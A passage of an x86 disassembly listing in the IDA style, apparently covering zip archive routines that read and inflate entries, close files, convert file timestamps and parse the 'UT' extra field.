[ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40F89D mov eax, 0FFFFFF9Ah jmp loc_40FB64 ; --------------------------------------------------------------------------- loc_40F89D: ; CODE XREF: sub_40F872+1Fj mov ecx, [ebp+var_C] mov edx, [ecx+7Ch] mov [ebp+var_8], edx cmp [ebp+var_8], 0 jnz short loc_40F8B6 mov eax, 0FFFFFF9Ah jmp loc_40FB64 ; --------------------------------------------------------------------------- loc_40F8B6: ; CODE XREF: sub_40F872+38j mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jnz short loc_40F8C8 mov eax, 0FFFFFF9Ch jmp loc_40FB64 ; --------------------------------------------------------------------------- loc_40F8C8: ; CODE XREF: sub_40F872+4Aj cmp [ebp+arg_8], 0 jnz short loc_40F8D5 xor eax, eax jmp loc_40FB64 ; --------------------------------------------------------------------------- loc_40F8D5: ; CODE XREF: sub_40F872+5Aj mov ecx, [ebp+var_8] mov edx, [ebp+arg_4] mov [ecx+10h], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov [eax+14h], ecx mov edx, [ebp+var_8] mov eax, [ebp+arg_8] cmp eax, [edx+5Ch] jbe short loc_40F8FE mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+5Ch] mov [ecx+14h], eax loc_40F8FE: ; CODE XREF: sub_40F872+7Ej ; sub_40F872:loc_40FB51j mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 0 jbe loc_40FB56 mov edx, [ebp+var_8] cmp dword ptr [edx+8], 0 jnz loc_40F9D1 mov eax, [ebp+var_8] cmp dword ptr [eax+58h], 0 jbe loc_40F9D1 mov [ebp+var_14], 4000h mov ecx, [ebp+var_8] mov edx, [ecx+58h] cmp edx, [ebp+var_14] jnb short loc_40F940 mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_14], ecx loc_40F940: ; CODE XREF: sub_40F872+C3j cmp [ebp+var_14], 0 jnz short loc_40F94D xor eax, eax jmp loc_40FB64 ; --------------------------------------------------------------------------- loc_40F94D: ; CODE XREF: sub_40F872+D2j push 0 mov edx, [ebp+var_8] mov eax, [edx+3Ch] mov ecx, [ebp+var_8] add eax, [ecx+68h] push eax mov edx, [ebp+var_8] mov eax, [edx+60h] push eax call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40F977 or eax, 0FFFFFFFFh jmp loc_40FB64 ; --------------------------------------------------------------------------- loc_40F977: ; CODE XREF: sub_40F872+FBj mov ecx, [ebp+var_8] mov edx, [ecx+60h] push edx push 1 mov eax, [ebp+var_14] push eax mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_40E610 add esp, 10h cmp eax, 1 jz short loc_40F99F or eax, 0FFFFFFFFh jmp loc_40FB64 ; --------------------------------------------------------------------------- loc_40F99F: ; CODE XREF: sub_40F872+123j mov eax, [ebp+var_8] mov ecx, [eax+3Ch] add ecx, [ebp+var_14] mov edx, [ebp+var_8] mov [edx+3Ch], ecx mov eax, [ebp+var_8] mov ecx, [eax+58h] sub ecx, [ebp+var_14] mov edx, [ebp+var_8] mov [edx+58h], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx] mov [eax+4], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_14] mov [eax+8], ecx loc_40F9D1: ; CODE XREF: sub_40F872+A0j ; sub_40F872+ADj mov edx, [ebp+var_8] cmp dword ptr [edx+64h], 0 jnz loc_40FABC mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax+14h] cmp edx, [ecx+8] jnb short loc_40F9F7 mov eax, [ebp+var_8] mov ecx, [eax+14h] mov [ebp+var_18], ecx jmp short loc_40FA00 ; --------------------------------------------------------------------------- loc_40F9F7: ; CODE XREF: sub_40F872+178j mov edx, [ebp+var_8] mov eax, [edx+8] mov [ebp+var_18], eax loc_40FA00: ; CODE XREF: sub_40F872+183j mov [ebp+var_1C], 0 jmp short loc_40FA12 ; --------------------------------------------------------------------------- loc_40FA09: ; CODE XREF: sub_40F872+1C0j mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_40FA12: ; CODE XREF: sub_40F872+195j mov edx, [ebp+var_1C] cmp edx, [ebp+var_18] jnb short loc_40FA34 mov eax, [ebp+var_8] mov ecx, [eax+4] mov edx, [ebp+var_8] mov eax, [edx+10h] mov edx, [ebp+var_1C] mov esi, [ebp+var_1C] mov cl, [ecx+esi] mov [eax+edx], cl jmp short loc_40FA09 ; --------------------------------------------------------------------------- loc_40FA34: ; CODE XREF: sub_40F872+1A6j mov edx, [ebp+var_18] push edx mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_8] mov eax, [edx+50h] push eax call sub_40D535 add esp, 0Ch mov ecx, [ebp+var_8] mov [ecx+50h], eax mov edx, [ebp+var_8] mov eax, [edx+5Ch] sub eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+5Ch], eax mov edx, [ebp+var_8] mov eax, [edx+8] sub eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+8], eax mov edx, [ebp+var_8] mov eax, [edx+14h] sub eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+14h], eax mov edx, [ebp+var_8] mov eax, [edx+10h] add eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+10h], eax mov edx, [ebp+var_8] mov eax, [edx+4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+4], eax mov edx, [ebp+var_8] mov eax, [edx+18h] add eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+18h], eax mov edx, [ebp+var_10] add edx, [ebp+var_18] mov [ebp+var_10], edx jmp loc_40FB51 ; --------------------------------------------------------------------------- loc_40FABC: ; CODE XREF: sub_40F872+166j mov [ebp+var_30], 2 mov eax, [ebp+var_8] mov ecx, [eax+18h] mov [ebp+var_28], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_2C], eax mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_8] add edx, 4 push edx call sub_40DC35 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [eax+18h] mov [ebp+var_20], ecx mov edx, [ebp+var_20] sub edx, [ebp+var_28] mov [ebp+var_24], edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_8] mov eax, [edx+50h] push eax call sub_40D535 add esp, 0Ch mov ecx, [ebp+var_8] mov [ecx+50h], eax mov edx, [ebp+var_8] mov eax, [edx+5Ch] sub eax, [ebp+var_24] mov ecx, [ebp+var_8] mov [ecx+5Ch], eax mov edx, [ebp+var_20] sub edx, [ebp+var_28] mov eax, [ebp+var_10] add eax, edx mov [ebp+var_10], eax cmp [ebp+var_4], 1 jnz short loc_40FB49 mov eax, [ebp+var_10] neg eax sbb eax, eax and eax, [ebp+var_10] jmp short loc_40FB64 ; --------------------------------------------------------------------------- loc_40FB49: ; CODE XREF: sub_40F872+2C9j cmp [ebp+var_4], 0 jz short loc_40FB51 jmp short loc_40FB56 ; --------------------------------------------------------------------------- loc_40FB51: ; CODE XREF: sub_40F872+245j ; sub_40F872+2DBj jmp loc_40F8FE ; --------------------------------------------------------------------------- loc_40FB56: ; CODE XREF: sub_40F872+93j ; sub_40F872+2DDj cmp [ebp+var_4], 0 jnz short loc_40FB61 mov eax, [ebp+var_10] jmp short loc_40FB64 ; --------------------------------------------------------------------------- loc_40FB61: ; CODE XREF: sub_40F872+2E8j mov eax, [ebp+var_4] loc_40FB64: ; CODE XREF: sub_40F872+26j ; sub_40F872+3Fj ... pop esi mov esp, ebp pop ebp retn sub_40F872 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_40FB7C mov eax, 0FFFFFF9Ah jmp short loc_40FB9E ; --------------------------------------------------------------------------- loc_40FB7C: ; CODE XREF: HSho:0040FB73j mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] mov edx, [ecx+7Ch] mov [ebp-4], edx cmp dword ptr [ebp-4], 0 jnz short loc_40FB98 mov eax, 0FFFFFF9Ah jmp short loc_40FB9E ; --------------------------------------------------------------------------- loc_40FB98: ; CODE XREF: HSho:0040FB8Fj mov eax, [ebp-4] mov eax, [eax+18h] loc_40FB9E: ; CODE XREF: HSho:0040FB7Aj ; HSho:0040FB96j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_40FBB5 mov eax, 0FFFFFF9Ah jmp short loc_40FBE3 ; --------------------------------------------------------------------------- loc_40FBB5: ; CODE XREF: HSho:0040FBACj mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] mov edx, [ecx+7Ch] mov [ebp-4], edx cmp dword ptr [ebp-4], 0 jnz short loc_40FBD1 mov eax, 0FFFFFF9Ah jmp short loc_40FBE3 ; --------------------------------------------------------------------------- loc_40FBD1: ; CODE XREF: HSho:0040FBC8j mov eax, [ebp-4] cmp dword ptr [eax+5Ch], 0 jnz short loc_40FBE1 mov eax, 1 jmp short loc_40FBE3 ; --------------------------------------------------------------------------- loc_40FBE1: ; CODE XREF: HSho:0040FBD8j xor eax, eax loc_40FBE3: ; CODE XREF: HSho:0040FBB3j ; HSho:0040FBCFj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h cmp dword ptr [ebp+8], 0 jnz short loc_40FBFD mov eax, 0FFFFFF9Ah jmp loc_40FCA3 ; --------------------------------------------------------------------------- loc_40FBFD: ; CODE XREF: HSho:0040FBF1j mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] mov edx, [ecx+7Ch] mov [ebp-4], edx cmp dword ptr [ebp-4], 0 jnz short loc_40FC1C mov eax, 0FFFFFF9Ah jmp loc_40FCA3 ; --------------------------------------------------------------------------- loc_40FC1C: ; CODE XREF: HSho:0040FC10j mov eax, [ebp-4] mov ecx, [ebp-4] mov edx, [eax+48h] sub edx, [ecx+4Ch] mov [ebp-0Ch], edx cmp dword ptr [ebp+0Ch], 0 jnz short loc_40FC36 mov eax, [ebp-0Ch] jmp short loc_40FCA3 ; --------------------------------------------------------------------------- loc_40FC36: ; CODE XREF: HSho:0040FC2Fj mov eax, [ebp+10h] cmp eax, [ebp-0Ch] jbe short loc_40FC46 mov ecx, [ebp-0Ch] mov [ebp-10h], ecx jmp short loc_40FC4C ; --------------------------------------------------------------------------- loc_40FC46: ; CODE XREF: HSho:0040FC3Cj mov edx, [ebp+10h] mov [ebp-10h], edx loc_40FC4C: ; CODE XREF: HSho:0040FC44j cmp dword ptr [ebp-10h], 0 jnz short loc_40FC56 xor eax, eax jmp short loc_40FCA3 ; --------------------------------------------------------------------------- loc_40FC56: ; CODE XREF: HSho:0040FC50j push 0 mov eax, [ebp-4] mov ecx, [eax+44h] mov edx, [ebp-4] add ecx, [edx+4Ch] push ecx mov eax, [ebp-4] mov ecx, [eax+60h] push ecx call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40FC7D or eax, 0FFFFFFFFh jmp short loc_40FCA3 ; --------------------------------------------------------------------------- loc_40FC7D: ; CODE XREF: HSho:0040FC76j mov edx, [ebp-4] mov eax, [edx+60h] push eax push 1 mov ecx, [ebp-0Ch] push ecx mov edx, [ebp+0Ch] push edx call sub_40E610 add esp, 10h cmp eax, 1 jz short loc_40FCA0 or eax, 0FFFFFFFFh jmp short loc_40FCA3 ; --------------------------------------------------------------------------- loc_40FCA0: ; CODE XREF: HSho:0040FC99j mov eax, [ebp-10h] loc_40FCA3: ; CODE XREF: HSho:0040FBF8j ; HSho:0040FC17j ... mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FCA7 proc near ; CODE XREF: sub_40ECA8+24p ; sub_40F6B0+3Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jnz short loc_40FCC4 mov eax, 0FFFFFF9Ah jmp loc_40FD72 ; --------------------------------------------------------------------------- loc_40FCC4: ; CODE XREF: sub_40FCA7+11j mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov edx, [ecx+7Ch] mov [ebp+var_8], edx cmp [ebp+var_8], 0 jnz short loc_40FCE3 mov eax, 0FFFFFF9Ah jmp loc_40FD72 ; --------------------------------------------------------------------------- loc_40FCE3: ; CODE XREF: sub_40FCA7+30j mov eax, [ebp+var_8] cmp dword ptr [eax+5Ch], 0 jnz short loc_40FD01 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx+50h] cmp eax, [edx+54h] jz short loc_40FD01 mov [ebp+var_4], 0FFFFFF97h loc_40FD01: ; CODE XREF: sub_40FCA7+43j ; sub_40FCA7+51j mov ecx, [ebp+var_8] cmp dword ptr [ecx], 0 jz short loc_40FD27 mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call dword_4131D4 ; free add esp, 4 mov edx, [ebp+var_8] mov dword ptr [edx], 0 loc_40FD27: ; CODE XREF: sub_40FCA7+60j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov ecx, [ebp+var_8] cmp dword ptr [ecx+40h], 0 jz short loc_40FD48 mov edx, [ebp+var_8] add edx, 4 push edx call sub_40DA4C add esp, 4 loc_40FD48: ; CODE XREF: sub_40FCA7+90j mov eax, [ebp+var_8] mov dword ptr [eax+40h], 0 cmp [ebp+var_8], 0 jz short loc_40FD65 mov ecx, [ebp+var_8] push ecx call dword_4131D4 ; free add esp, 4 loc_40FD65: ; CODE XREF: sub_40FCA7+AFj mov edx, [ebp+var_C] mov dword ptr [edx+7Ch], 0 mov eax, [ebp+var_4] loc_40FD72: ; CODE XREF: sub_40FCA7+18j ; sub_40FCA7+37j mov esp, ebp pop ebp retn sub_40FCA7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_40FD8C mov eax, 0FFFFFF9Ah jmp loc_40FE1E ; --------------------------------------------------------------------------- loc_40FD8C: ; CODE XREF: HSho:0040FD80j mov eax, [ebp+8] mov [ebp-4], eax mov ecx, [ebp+10h] mov [ebp-8], ecx mov edx, [ebp-4] mov eax, [ebp-8] cmp eax, [edx+8] jbe short loc_40FDAC mov ecx, [ebp-4] mov edx, [ecx+8] mov [ebp-8], edx loc_40FDAC: ; CODE XREF: HSho:0040FDA1j push 0 mov eax, [ebp-4] mov ecx, [eax+1Ch] add ecx, 16h push ecx mov edx, [ebp-4] mov eax, [edx] push eax call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40FDCF or eax, 0FFFFFFFFh jmp short loc_40FE1E ; --------------------------------------------------------------------------- loc_40FDCF: ; CODE XREF: HSho:0040FDC8j cmp dword ptr [ebp-8], 0 jbe short loc_40FDFD mov ecx, [ebp+0Ch] mov byte ptr [ecx], 0 mov edx, [ebp-4] mov eax, [edx] push eax push 1 mov ecx, [ebp-8] push ecx mov edx, [ebp+0Ch] push edx call sub_40E610 add esp, 10h cmp eax, 1 jz short loc_40FDFD or eax, 0FFFFFFFFh jmp short loc_40FE1E ; --------------------------------------------------------------------------- loc_40FDFD: ; CODE XREF: HSho:0040FDD3j ; HSho:0040FDF6j cmp dword ptr [ebp+0Ch], 0 jz short loc_40FE1B mov eax, [ebp-4] mov ecx, [ebp+10h] cmp ecx, [eax+8] jbe short loc_40FE1B mov edx, [ebp-4] mov eax, [edx+8] mov ecx, [ebp+0Ch] mov byte ptr [ecx+eax], 0 loc_40FE1B: ; CODE XREF: HSho:0040FE01j ; HSho:0040FE0Cj mov eax, [ebp-8] loc_40FE1E: ; CODE XREF: HSho:0040FD87j ; HSho:0040FDCDj ... mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE22 proc near ; CODE XREF: sub_40FF4C+55Bp ; sub_40FF4C+5B8p ... var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+arg_0] push eax call dword_413210 ; gmtime add esp, 4 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov edx, [ecx+14h] add edx, 76Ch mov [ebp+var_1C], dx mov eax, [ebp+var_C] mov ecx, [eax+10h] add ecx, 1 mov [ebp+var_1A], cx mov edx, [ebp+var_C] mov ax, [edx+0Ch] mov [ebp+var_16], ax mov ecx, [ebp+var_C] mov dx, [ecx+8] mov [ebp+var_14], dx mov eax, [ebp+var_C] mov cx, [eax+4] mov [ebp+var_12], cx mov edx, [ebp+var_C] mov ax, [edx] mov [ebp+var_10], ax mov [ebp+var_E], 0 lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_1C] push edx call dword_413094 ; SystemTimeToFileTime mov eax, [ebp+var_8] mov edx, [ebp+var_4] mov esp, ebp pop ebp retn sub_40FE22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE9E proc near ; CODE XREF: sub_410FDB+6Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov eax, [ebp+var_10] cmp dword ptr [eax], 0 jnz short loc_40FEB8 mov ecx, [ebp+var_10] cmp dword ptr [ecx+4], 0FFFFFFFFh jz short loc_40FEC2 loc_40FEB8: ; CODE XREF: sub_40FE9E+Fj mov eax, 1000000h jmp loc_40FF46 ; --------------------------------------------------------------------------- loc_40FEC2: ; CODE XREF: sub_40FE9E+18j mov edx, [ebp+var_10] add edx, 138h push edx push 104h call dword_41302C ; GetCurrentDirectoryA push offset asc_41786C ; "\\" mov eax, [ebp+var_10] add eax, 138h push eax call sub_411640 ; strcat add esp, 8 cmp [ebp+arg_8], 1 jnz short loc_40FF0D mov ecx, [ebp+arg_0] push ecx call dword_4130A0 ; GetFileType mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_40FF0D mov eax, 2000000h jmp short loc_40FF46 ; --------------------------------------------------------------------------- loc_40FF0D: ; CODE XREF: sub_40FE9E+53j ; sub_40FE9E+66j lea edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_40E2F9 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40FF33 mov eax, [ebp+var_4] jmp short loc_40FF46 ; --------------------------------------------------------------------------- loc_40FF33: ; CODE XREF: sub_40FE9E+8Ej mov eax, [ebp+var_8] push eax call sub_40EA92 add esp, 4 mov ecx, [ebp+var_10] mov [ecx], eax xor eax, eax loc_40FF46: ; CODE XREF: sub_40FE9E+1Fj ; sub_40FE9E+6Dj ... mov esp, ebp pop ebp retn 0Ch sub_40FE9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF4C proc near ; CODE XREF: sub_4105D7+B9p ; sub_4107B2+1F5p ... var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = byte ptr -1B4h var_1B3 = byte ptr -1B3h var_1B2 = byte ptr -1B2h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = word ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = word ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_24 = dword ptr -24h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1E8h mov [ebp+var_1E8], ecx cmp [ebp+arg_0], 0FFFFFFFFh jl short loc_40FF71 mov eax, [ebp+var_1E8] mov ecx, [eax] mov edx, [ebp+arg_0] cmp edx, [ecx+4] jl short loc_40FF7B loc_40FF71: ; CODE XREF: sub_40FF4C+13j mov eax, 10000h jmp loc_4105D1 ; --------------------------------------------------------------------------- loc_40FF7B: ; CODE XREF: sub_40FF4C+23j mov eax, [ebp+var_1E8] cmp dword ptr [eax+4], 0FFFFFFFFh jz short loc_40FF98 mov ecx, [ebp+var_1E8] mov edx, [ecx] push edx call sub_40FCA7 add esp, 4 loc_40FF98: ; CODE XREF: sub_40FF4C+39j mov eax, [ebp+var_1E8] mov dword ptr [eax+4], 0FFFFFFFFh mov ecx, [ebp+var_1E8] mov edx, [ebp+arg_0] cmp edx, [ecx+134h] jnz short loc_40FFDE cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_40FFDE push 12Ch mov eax, [ebp+var_1E8] add eax, 8 push eax mov ecx, [ebp+arg_4] push ecx call sub_411634 ; memcpy add esp, 0Ch xor eax, eax jmp loc_4105D1 ; --------------------------------------------------------------------------- loc_40FFDE: ; CODE XREF: sub_40FF4C+68j ; sub_40FF4C+6Ej cmp [ebp+arg_0], 0FFFFFFFFh jnz loc_41007B mov edx, [ebp+var_1E8] mov eax, [edx] mov ecx, [ebp+arg_4] mov edx, [eax+4] mov [ecx], edx mov eax, [ebp+arg_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+108h], 0 mov edx, [ebp+arg_4] mov dword ptr [edx+10Ch], 0 mov eax, [ebp+arg_4] mov dword ptr [eax+110h], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+114h], 0 mov edx, [ebp+arg_4] mov dword ptr [edx+118h], 0 mov eax, [ebp+arg_4] mov dword ptr [eax+11Ch], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+120h], 0 mov edx, [ebp+arg_4] mov dword ptr [edx+124h], 0 mov eax, [ebp+arg_4] mov dword ptr [eax+128h], 0 xor eax, eax jmp loc_4105D1 ; --------------------------------------------------------------------------- loc_41007B: ; CODE XREF: sub_40FF4C+96j mov ecx, [ebp+var_1E8] mov edx, [ecx] mov eax, [ebp+arg_0] cmp eax, [edx+10h] jge short loc_41009C mov ecx, [ebp+var_1E8] mov edx, [ecx] push edx call sub_40F1E3 add esp, 4 loc_41009C: ; CODE XREF: sub_40FF4C+13Dj ; sub_40FF4C+171j mov eax, [ebp+var_1E8] mov ecx, [eax] mov edx, [ecx+10h] cmp edx, [ebp+arg_0] jge short loc_4100BF mov eax, [ebp+var_1E8] mov ecx, [eax] push ecx call sub_40F251 add esp, 4 jmp short loc_41009C ; --------------------------------------------------------------------------- loc_4100BF: ; CODE XREF: sub_40FF4C+15Ej push 0 push 0 push 0 push 0 push 104h lea edx, [ebp+var_190] push edx lea eax, [ebp+var_58] push eax mov ecx, [ebp+var_1E8] mov edx, [ecx] push edx call sub_40F1B4 add esp, 20h lea eax, [ebp+var_64] push eax lea ecx, [ebp+var_78] push ecx lea edx, [ebp+var_8C] push edx mov eax, [ebp+var_1E8] mov ecx, [eax] push ecx call sub_40F42B add esp, 10h mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_41011B mov eax, 700h jmp loc_4105D1 ; --------------------------------------------------------------------------- loc_41011B: ; CODE XREF: sub_40FF4C+1C3j push 0 mov edx, [ebp+var_78] push edx mov eax, [ebp+var_1E8] mov ecx, [eax] mov edx, [ecx] push edx call sub_40E53B add esp, 0Ch test eax, eax jz short loc_410142 mov eax, 800h jmp loc_4105D1 ; --------------------------------------------------------------------------- loc_410142: ; CODE XREF: sub_40FF4C+1EAj mov eax, [ebp+var_64] push eax call sub_4114F4 add esp, 4 mov [ebp+var_1C4], eax mov ecx, [ebp+var_1C4] mov [ebp+var_70], ecx mov edx, [ebp+var_1E8] mov eax, [edx] mov ecx, [eax] push ecx mov edx, [ebp+var_64] push edx push 1 mov eax, [ebp+var_70] push eax call sub_40E610 add esp, 10h cmp eax, [ebp+var_64] jz short loc_4101A1 mov ecx, [ebp+var_70] mov [ebp+var_1C8], ecx mov edx, [ebp+var_1C8] push edx call sub_4114EE add esp, 4 mov eax, 800h jmp loc_4105D1 ; --------------------------------------------------------------------------- loc_4101A1: ; CODE XREF: sub_40FF4C+231j mov eax, [ebp+var_1E8] mov ecx, [eax] mov edx, [ebp+arg_4] mov eax, [ecx+10h] mov [edx], eax lea ecx, [ebp+var_190] push ecx mov edx, [ebp+arg_4] add edx, 4 push edx call sub_411628 ; strcpy add esp, 8 mov eax, [ebp+var_24] mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 40000000h neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_88], cl mov edx, [ebp+var_8] and edx, 800000h neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_19C], dl mov eax, [ebp+var_8] and eax, 1 neg eax sbb eax, eax neg eax mov byte ptr [ebp+var_198], al mov ecx, [ebp+var_8] and ecx, 2 neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_6C], cl mov edx, [ebp+var_8] and edx, 4 neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_84], dl mov eax, [ebp+var_8] and eax, 10h neg eax sbb eax, eax neg eax mov byte ptr [ebp+var_194], al mov ecx, [ebp+var_8] and ecx, 20h neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_4], cl mov edx, [ebp+arg_4] mov dword ptr [edx+108h], 80h mov eax, [ebp+var_88] and eax, 0FFh test eax, eax jnz short loc_410277 mov ecx, [ebp+var_194] and ecx, 0FFh test ecx, ecx jz short loc_41028B loc_410277: ; CODE XREF: sub_40FF4C+319j mov edx, [ebp+arg_4] mov eax, [edx+108h] or al, 10h mov ecx, [ebp+arg_4] mov [ecx+108h], eax loc_41028B: ; CODE XREF: sub_40FF4C+329j mov edx, [ebp+var_4] and edx, 0FFh test edx, edx jz short loc_4102AD mov eax, [ebp+arg_4] mov ecx, [eax+108h] or ecx, 20h mov edx, [ebp+arg_4] mov [edx+108h], ecx loc_4102AD: ; CODE XREF: sub_40FF4C+34Aj mov eax, [ebp+var_6C] and eax, 0FFh test eax, eax jz short loc_4102CE mov ecx, [ebp+arg_4] mov edx, [ecx+108h] or edx, 2 mov eax, [ebp+arg_4] mov [eax+108h], edx loc_4102CE: ; CODE XREF: sub_40FF4C+36Bj mov ecx, [ebp+var_19C] and ecx, 0FFh test ecx, ecx jz short loc_4102EE mov edx, [ebp+var_198] and edx, 0FFh test edx, edx jz short loc_410303 loc_4102EE: ; CODE XREF: sub_40FF4C+390j mov eax, [ebp+arg_4] mov ecx, [eax+108h] or ecx, 1 mov edx, [ebp+arg_4] mov [edx+108h], ecx loc_410303: ; CODE XREF: sub_40FF4C+3A0j mov eax, [ebp+var_84] and eax, 0FFh test eax, eax jz short loc_410327 mov ecx, [ebp+arg_4] mov edx, [ecx+108h] or edx, 4 mov eax, [ebp+arg_4] mov [eax+108h], edx loc_410327: ; CODE XREF: sub_40FF4C+3C4j mov ecx, [ebp+arg_4] mov edx, [ebp+var_40] mov [ecx+124h], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_3C] mov [eax+128h], ecx mov edx, [ebp+var_48] and edx, 0FFFFh mov [ebp+var_80], dx mov eax, [ebp+var_48] shr eax, 10h and eax, 0FFFFh mov [ebp+var_68], ax lea ecx, [ebp+var_60] push ecx mov dx, [ebp+var_80] push edx mov ax, [ebp+var_68] push eax call dword_413090 ; DosDateTimeToFileTime mov ecx, [ebp+arg_4] mov edx, [ebp+var_60] mov [ecx+10Ch], edx mov eax, [ebp+var_5C] mov [ecx+110h], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_60] mov [ecx+114h], edx mov eax, [ebp+var_5C] mov [ecx+118h], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_60] mov [ecx+11Ch], edx mov eax, [ebp+var_5C] mov [ecx+120h], eax mov [ebp+var_7C], 0 loc_4103B5: ; CODE XREF: sub_40FF4C+4D4j mov ecx, [ebp+var_7C] add ecx, 4 cmp ecx, [ebp+var_64] jnb loc_410587 mov edx, [ebp+var_70] add edx, [ebp+var_7C] mov al, [edx] mov [ebp+var_1B4], al mov ecx, [ebp+var_70] add ecx, [ebp+var_7C] mov dl, [ecx+1] mov [ebp+var_1B3], dl mov [ebp+var_1B2], 0 mov eax, [ebp+var_70] add eax, [ebp+var_7C] movsx ecx, byte ptr [eax+2] mov [ebp+var_1A4], ecx push offset aUt ; "UT" lea edx, [ebp+var_1B4] push edx call sub_411684 ; strcmp add esp, 8 test eax, eax jz short loc_410422 mov eax, 